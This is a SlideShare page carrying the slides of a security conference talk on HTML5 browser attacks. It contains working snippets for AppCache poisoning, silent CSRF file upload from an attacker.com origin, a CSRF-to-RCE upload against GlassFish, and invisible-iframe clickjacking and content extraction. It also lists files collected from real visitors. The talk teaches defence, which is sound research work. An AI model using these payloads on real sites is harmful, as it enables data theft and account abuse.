Download as PDF, PPTX
Uploaded byKrzysztof Kotowicz
Something wicked this way comes - CONFidence
Krzysztof Kotowicz presented several HTML5 tricks that could be abused by attackers: - Filejacking allows reading files from a user's system using the directory upload feature in Chrome. Sensitive files were exposed from some users. - AppCache poisoning can be used in a man-in-the-middle attack to persist malicious payloads by tampering with a site's cache manifest file. - Silent file upload uses cross-origin resource sharing to upload fake files without user interaction, potentially enabling CSRF attacks. He warned that IFRAME sandboxing could facilitate clickjacking, and that drag-and-drop techniques risk exposing sensitive content across domains unless sites use X-
More Related Content
Similar to Something wicked this way comes - CONFidence
![[FTP|SQL|Cache] Injections](https://cdn.slidesharecdn.com/ss_thumbnails/injections-130103025135-phpapp01-thumbnail.jpg?width=640&height=640&fit=bounds)
![[BDD 2025 - Mobile Development] Exploring Apple’s On-Device FoundationModels](https://cdn.slidesharecdn.com/ss_thumbnails/md-exploringappleson-devicefoundationmodels-251124030840-d690542c-thumbnail.jpg?width=640&height=640&fit=bounds)
![[BDD 2025 - Mobile Development] Crafting Immersive UI with E2E and AGSL Shade...](https://cdn.slidesharecdn.com/ss_thumbnails/md-craftingimmersiveuiwithe2eandagslshaderveronicaputrianggraini-251124030840-0c677f44-thumbnail.jpg?width=640&height=640&fit=bounds)
![Support, Monitoring, Continuous Improvement & Scaling Agentic Automation [3/3]](https://cdn.slidesharecdn.com/ss_thumbnails/agenticcommunityseries-day3-cfd-251120170304-ddef8112-thumbnail.jpg?width=640&height=640&fit=bounds)
![[BDD 2025 - Artificial Intelligence] AI for the Underdogs: Innovation for Sma...](https://cdn.slidesharecdn.com/ss_thumbnails/ai-aifortheunderdogsinnovationforsmallbusinesses-251124030839-72a599a4-thumbnail.jpg?width=640&height=640&fit=bounds)
Something wicked this way comes - CONFidence
- 1. Something wicked this waycomes Krzysztof Kotowicz, SecuRing kkotowicz@securing.pl @kkotowicz
- 2. Plan • HTML5 trickery • Filejacking • AppCache poisoning • Silent file upload • IFRAME sandbox aniframebuster • Don’t get framed! • Drag into • Drag out content extraction • Frame based login detection • Wrap-up 2
- 3.
- 4. Filejacking • HTML5 directoryupload (Chrome only) <input type=file directory> • displays this ====> • JS gets read access to all files within chosen folder 4
- 5. Filejacking Businessplan • set up tempting webpage • overlay input (CSS) with • wait for clueless users • get files & upload them to your server 5
- 6.
- 7.
- 8. Filejacking • How cluelessusers actually are? • http://kotowicz.net/wu running for ~13 mo • very limited exposure • only websec oriented visitors • 298 clients connected (217 IPs) • tons of interesting files 8
- 9. Filejacking LOTSof these ------ > • Downloads/# BeNaughtyLive.com/ • Downloads/# GoLiveTrannies.com/ • BratSluts 11 12 04 Sasha Cane Red Tartan SchoolGirl XXX 720p WMV SEXORS.nzb • bitches/1300563524557.jpg 9
- 10. Filejacking • websec staff! •but surely no private data? 10
- 11. Filejacking • Wireless Assess points.txt • interesting network next to me.txt • onlinePasswords.txt • s/pw.txt • letter of authorization.pdf • Staff-<name,surname>.pdf • <name,surname> - resume.doc • PIT-37, <name,surname>.PITY2010NG • Deklaracja_VAT7_Luty_2011.pdf • Pricing-Recommendation_CR.xlsm.zip • but surely no clients data? 11
- 12. Filejacking • sony reports/ • Faktura_numer_26_2011_ 0045_sonymusic.##.zip <company>.pdf • SecurityQA.SQL.Injection. • websec cred~ Results.v1.1.docx • security_users.sql.zip • SSOCrawlTest5.4.097.xml • !important - questions for • IPS CDE Wireless Audit- web developers.docx January 2011-1 0.docx • sslstrip.log~ • IPS Wireless Testing • ##### Paros Log.txt Schedule April 2011.xls • 01-####### Corporation (Security Unarmed So much for the Guard).xls NDAs... 12
- 13. Filejacking + All yourfile are belong to me + Trivial to set up + Filter files by e.g. extension, size etc. - Chrome only - Requires users prone to social- engineering 13
- 14. AppCache poisoning HTML5Offline Web Applications <html manifest=cache.manifest> • cache.manifest lists URLs to cache • cache expires only when CACHE MANIFEST index.html manifest is changed stylesheet.css images/logo.png scripts/main.js 14
- 15. AppCache poisoning • abuseto persist man-in-the-middle • manifest must be MIME text/cache-manifest • Chrome fills AppCache without user confirmation • two steps • poison AppCache while m-i-t-m • have payloads stay forever in cache 15
- 16. AppCache poisoning • tamperhttp://victim/ <html manifest=/robots.txt> <script>evil()</script> • tamper http://victim/robots.txt CACHE MANIFEST CACHE: http://victim/ NETWORK: * 16
- 17. AppCache poisoning Later on, after m-i-t-m: 1. http://victim/ fetched from AppCache 2. browser checks for new manifest GET /robots.txt 3. receives text/plain robots.txt & ignores it 4. tainted AppCache is still used 17
- 18. AppCache poisoning + Poisonany URL + Payload stays until manually removed - Chrome or Firefox with user interaction - Needs active man-in-the-middle https://github.com/koto/sslstrip 18
- 19. Silent file upload •File upload purely in Javascript • Emulates <input type=file> with: • any file name • any file content • File constructed in Javascript (it’s not a real file!) • Uses Cross Origin Resource Sharing 19
- 20. Silent file upload •Cross Origin Resource Sharing = cross domain AJAX http://attacker.com/ var xhr = new XMLHttpRequest(); xhr.open("POST", "http://victim", true); xhr.setRequestHeader("Content-Type", "text/plain"); xhr.withCredentials = "true"; // send cookies xhr.send("Anything I want"); 20
- 21. Silent file upload •raw multipart/form-data request function fileUpload(url, fileData, fileName) { var boundary = "xxxxxxxxx", xhr = new XMLHttpRequest(); xhr.open("POST", url, true); xhr.withCredentials = "true"; xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary); 21
- 22. Silent file upload varb = " --" + boundary + 'rn Content-Disposition: form-data; name="contents"; filename="' + fileName + '"rn Content-Type: application/octet-streamrn rn ' + fileData + 'rn --' + boundary + '--'; xhr.setRequestHeader("Content-Length", b.length); xhr.send(b); 22
- 23. Silent file upload +No user interaction + Works in most browsers + You can add more form fields - CSRF flaw needed - No access to response 23
- 24. Silent file upload DEMO Flickr.com 24
- 25. Silent file upload •GlassFish Enterprise Server 3.1. • CVE 2012-0550 by Roberto Suggi Liverani • //goo.gl/cOu1F logUrl = 'http://glassfishserver/ management/domain/applications/ application'; fileUpload(c,"maliciousarchive.war"); • logged admin + CSRF = RCE 25
- 26. IFRAME sandbox aniframebuster •Used to embed untrusted content sandbox=" allow-same-origin allow-scripts allow-forms allow-top-navigation" • prevents JS execution in frame • prevents defacement • Facilitates clickjacking! 26
- 27.
- 28. IFRAME sandbox aniframebuster http://attacker.com <iframesandbox=" allow-forms allow-scripts" src="//victim"></iframe> http://victim top.location = self.location // doesn’t work:( 28
- 29. IFRAME sandbox aniframebuster +Chrome / Safari / IE 10 + Will disable most JS framebusters - X-Frame-Options 29
- 30.
- 31. Same origin policy •makes web (relatively) safe • restricts cross-origin communication • can be relaxed though • crossdomain.xml • document.domain • HTML5 Cross Origin Resource Sharing • or ignored... • UI redressing 31
- 32. UI Redressing? Jedi mind tricks on victim users 32
- 33. UI Redressing •This is not the page you’re looking at • This is not the thing you’re clicking • .................................................. dragging • .................................................. typing • .................................................. copying • Victims attack the applications for us 33
- 34. Exploiting users //goo.gl/DgPpY 34
- 35. Drag into • Putattackers content into victim form 35
- 36. Drag into DEMO Alphabet Hero 36
- 37. Drag into + Injectarbitrary content + Trigger self-XSS - Firefox only (will die soon!) - X-Frame-Options 37
- 38. Drag out contentextraction image image 38
- 39. Drag out contentextraction image victim <iframe> image 39
- 40. Drag out contentextraction image victim <iframe> textarea <textarea> 40
- 41. Drag out contentextraction <div id=game style="position:relative"> <img style="position:absolute;..." src="paper.png" /> <img style="position:absolute;..." src="trash.png" /> <iframe scrolling=no id=iframe style="position:absolute;opacity:0;..."> </iframe> <textarea style="position:absolute; opacity:0;..." id=dropper></textarea> </div> 41
- 42. Drag out contentextraction 42
- 43. Drag out contentextraction 43
- 44. Drag out contentextraction + Access sensitive content cross domain - Firefox only (will die soon!) - X-Frame-Options 44
- 45. Frame-based login detection •Are you now logged in to these websites? • facebook.com • amazon.com • a-banking-site.secure • Why should I care? • e.g. launch CSRF / other attacks 45
- 46. Frame-based login detection •Previous work: • Cache timing, lcamtuf • Abusing HTTP Status Code, Mike Cardwell • Anchor Element Position Detection, Paul Stone <iframe src=// victim/#logout /> 46
- 47.
- 48. Frame-based login detection <iframesrc="//victim/login"> //victim /login <input id=login> <script> document.getElementById('login').focus() </script> 48
- 49. Frame-based login detection DEMO 49
- 50. Summary • HTML5 isattacker’s friend too! • Don’t get framed • Users based pwnage FTW Developers: Use X-Frame-Options: DENY 50
- 51. Wake up, I’mdone! • html5sec.org • code.google.com/p/html5security • www.contextis.co.uk/research/white-papers/clickjacking • blog.kotowicz.net • github.com/koto Twitter: @kkotowicz kkotowicz@securing.pl Thanks @0x6D6172696F, @garethheyes, @theKos, @7a_, @lavakumark, @malerisch, @skeptic_fx, .... 51